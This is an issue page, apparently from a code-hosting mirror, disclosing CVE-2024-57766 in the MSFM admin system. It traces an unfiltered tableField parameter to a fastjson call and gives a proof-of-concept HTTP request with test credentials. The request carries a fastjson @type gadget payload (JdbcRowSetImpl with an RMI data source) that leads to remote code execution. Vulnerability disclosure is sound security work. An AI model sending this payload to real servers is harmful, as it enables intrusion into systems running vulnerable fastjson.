1 В избранное 0 Ответвления 0

OSCHINA-MIRROR/wanglingxiao-mysiteforme

 / Детали:

Система MSFM/таблица/редактирование поля использует быстрое преобразование из JSON с помощью FastJSON

Предстоит сделать
Владелец
Создано  
16.03.2025

CVE-2024-57766
Найдено лабораторией безопасности Chaitin Security Research Lab

Продукт с уязвимостью: wangl1989/MSFM
Версия продукта с уязвимостью: до версии 2025.01.01
Тип уязвимости: десериализация в fastjson
Детали уязвимости:

  1. Глобальный поиск объекта JSONObject. toJSONString найден по пути com/mysiteforme/admin/service/impl/TableServiceImpl.java: 170. Объект JSONObject. toJSONString принимает параметр tableField и преобразует его в строку JSON. Дальнейший анализ показывает, что эта операция выполняется в методе updateColumn(). Продолжаем отслеживание вызова этого метода.
    Screen Shot
  2. Отслеживание метода updateColumn() до уровня контроллеров, метод updateColumn() был вызван по пути com/mysiteform/admin/controller/system/TableController.java: 343 и получил параметр tableField. Анализ сверху вниз показывает, что параметр TableController.java: 301 получен при отправке запроса пользователем через путь /editField. Полностью процесс не фильтрует или экранирует параметр tableField. Поэтому параметр tableField управляемый, и здесь есть уязвимость десериализации в fastjson.
    Screen Shot
    Screen Shot
  3. Конструируем POC, входим в систему для захвата пакетов и замены cookies
http://127.0.0.1:8083
учётная запись: test/1

POST /admin/system/table/editField HTTP/1.1
Host: 127.0.0.1:8083
Content-Type: application/json
Cookie: XXX

{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/a","autoCommit":true}}

![Screen Shot](https://foruda.gitee.com/images/1736134351657590890/e9e001a7_13737655.png "Screen Shot")

Комментарий (0)

GitLife Service Account Задача создана

Вход Перед тем как оставить комментарий

Статус
Ответственный
Контрольная точка
Pull Requests
Связанные запросы на слияние могут быть закрыты после их объединения
Ветки
Дата начала   -   Крайний срок
-
Закрепить/Открепить
Приоритет
Участники(1)
1
https://api.gitlife.ru/oschina-mirror/wanglingxiao-mysiteforme.git
git@api.gitlife.ru:oschina-mirror/wanglingxiao-mysiteforme.git
oschina-mirror
wanglingxiao-mysiteforme
wanglingxiao-mysiteforme